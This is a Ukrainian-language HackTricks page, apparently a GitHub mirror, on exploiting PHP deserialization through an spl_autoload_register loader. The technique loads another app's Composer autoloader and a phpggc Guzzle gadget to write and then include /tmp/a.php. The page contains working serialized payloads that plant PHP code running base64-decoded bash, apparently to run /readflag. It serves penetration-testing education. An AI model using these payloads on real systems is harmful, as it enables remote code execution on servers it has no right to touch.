mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
65 lines
8.3 KiB
Markdown
65 lines
8.3 KiB
Markdown
# PHP - Десеріалізація + Автозавантаження класів
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
Спочатку вам слід перевірити, що таке [**Автозавантаження класів**](https://www.php.net/manual/en/language.oop5.autoload.php).
|
||
|
||
## PHP десеріалізація + spl_autoload_register + LFI/Gadget
|
||
|
||
Ми знаходимося в ситуації, коли знайшли **десеріалізацію PHP у веб-додатку** без **жодної** бібліотеки, вразливої до гаджетів всередині **`phpggc`**. Однак у тому ж контейнері була **інша веб-програма composer з вразливими бібліотеками**. Тому метою було **завантажити завантажувач composer іншого веб-додатку** і зловживати ним, щоб **завантажити гаджет, який експлуатуватиме цю бібліотеку з гаджетом** з веб-додатку, вразливого до десеріалізації.
|
||
|
||
Кроки:
|
||
|
||
- Ви знайшли **десеріалізацію**, і в поточному коді програми **немає жодного гаджета**
|
||
- Ви можете зловживати функцією **`spl_autoload_register`** на кшталт наступної, щоб **завантажити будь-який локальний файл з розширенням `.php`**
|
||
- Для цього ви використовуєте десеріалізацію, де ім'я класу буде всередині **`$name`**. Ви **не можете використовувати "/" або "."** в імені класу в серіалізованому об'єкті, але **код** **замінює** **підкреслення** ("\_") **на слеші** ("/"). Тож ім'я класу, таке як `tmp_passwd`, буде перетворено на `/tmp/passwd.php`, і код спробує його завантажити.\
|
||
Приклад **гаджета** буде: **`O:10:"tmp_passwd":0:{}`**
|
||
```php
|
||
spl_autoload_register(function ($name) {
|
||
|
||
if (preg_match('/Controller$/', $name)) {
|
||
$name = "controllers/${name}";
|
||
} elseif (preg_match('/Model$/', $name)) {
|
||
$name = "models/${name}";
|
||
} elseif (preg_match('/_/', $name)) {
|
||
$name = preg_replace('/_/', '/', $name);
|
||
}
|
||
|
||
$filename = "/${name}.php";
|
||
|
||
if (file_exists($filename)) {
|
||
require $filename;
|
||
}
|
||
elseif (file_exists(__DIR__ . $filename)) {
|
||
require __DIR__ . $filename;
|
||
}
|
||
});
|
||
```
|
||
> [!TIP]
|
||
> Якщо у вас є **завантаження файлів** і ви можете завантажити файл з **розширенням `.php`**, ви можете **безпосередньо зловживати цією функціональністю** і отримати вже RCE.
|
||
|
||
У моєму випадку нічого подібного не було, але всередині **того ж контейнера** була інша веб-сторінка композера з **бібліотекою, вразливою до гаджета `phpggc`**.
|
||
|
||
- Щоб завантажити цю іншу бібліотеку, спочатку потрібно **завантажити завантажувач композера тієї іншої веб-аплікації** (оскільки завантажувач поточної аплікації не зможе отримати доступ до бібліотек іншої). **Знаючи шлях до аплікації**, ви можете досягти цього дуже легко за допомогою: **`O:28:"www_frontend_vendor_autoload":0:{}`** (У моєму випадку завантажувач композера був у `/www/frontend/vendor/autoload.php`)
|
||
- Тепер ви можете **завантажити** інший **завантажувач композера аплікації**, тож настав час **`згенерувати phpgcc`** **payload** для використання. У моєму випадку я використовував **`Guzzle/FW1`**, що дозволило мені **записувати будь-який файл у файловій системі**.
|
||
- ПРИМІТКА: **Згенерований гаджет не працював**, щоб він працював, я **модифікував** цей payload **`chain.php`** phpggc і встановив **всі атрибути** класів **з приватних на публічні**. Якщо ні, після десеріалізації рядка атрибути створених об'єктів не мали жодних значень.
|
||
- Тепер у нас є спосіб **завантажити інший завантажувач композера аплікації** і мати **phpggc payload, який працює**, але нам потрібно **зробити це в ТОМУ Ж ЗАПИТІ, щоб завантажувач був завантажений, коли гаджет використовується**. Для цього я надіслав серіалізований масив з обома об'єктами, як:
|
||
- Ви можете побачити, **спочатку завантажується завантажувач, а потім payload**.
|
||
```php
|
||
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
|
||
```
|
||
- Тепер ми можемо **створити та записати файл**, однак користувач **не міг записувати в жодну папку всередині веб-сервера**. Отже, як ви можете бачити в payload, PHP викликає **`system`** з деяким **base64**, який створюється в **`/tmp/a.php`**. Потім ми можемо **повторно використовувати перший тип payload**, який ми використовували як LFI, щоб завантажити завантажувач composer іншого веб-додатку **для завантаження згенерованого `/tmp/a.php`** файлу. Просто додайте це до гаджета десеріалізації:
|
||
```php
|
||
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
|
||
```
|
||
**Резюме корисного навантаження**
|
||
|
||
- **Завантажити автозавантаження composer** іншого веб-додатку в тому ж контейнері
|
||
- **Завантажити гаджет phpggc** для зловживання бібліотекою з іншого веб-додатку (первісний веб-додаток, вразливий до десеріалізації, не мав жодного гаджета у своїх бібліотеках)
|
||
- Гаджет **створить файл з PHP навантаженням** в /tmp/a.php з шкідливими командами (користувач веб-додатку не може записувати в жодну папку жодного веб-додатку)
|
||
- Остання частина нашого навантаження буде використовувати **завантажити згенерований php файл**, який виконає команди
|
||
|
||
Мені потрібно було **викликати цю десеріалізацію двічі**. У моєму тестуванні, перший раз файл `/tmp/a.php` був створений, але не завантажений, а вдруге він був правильно завантажений.
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|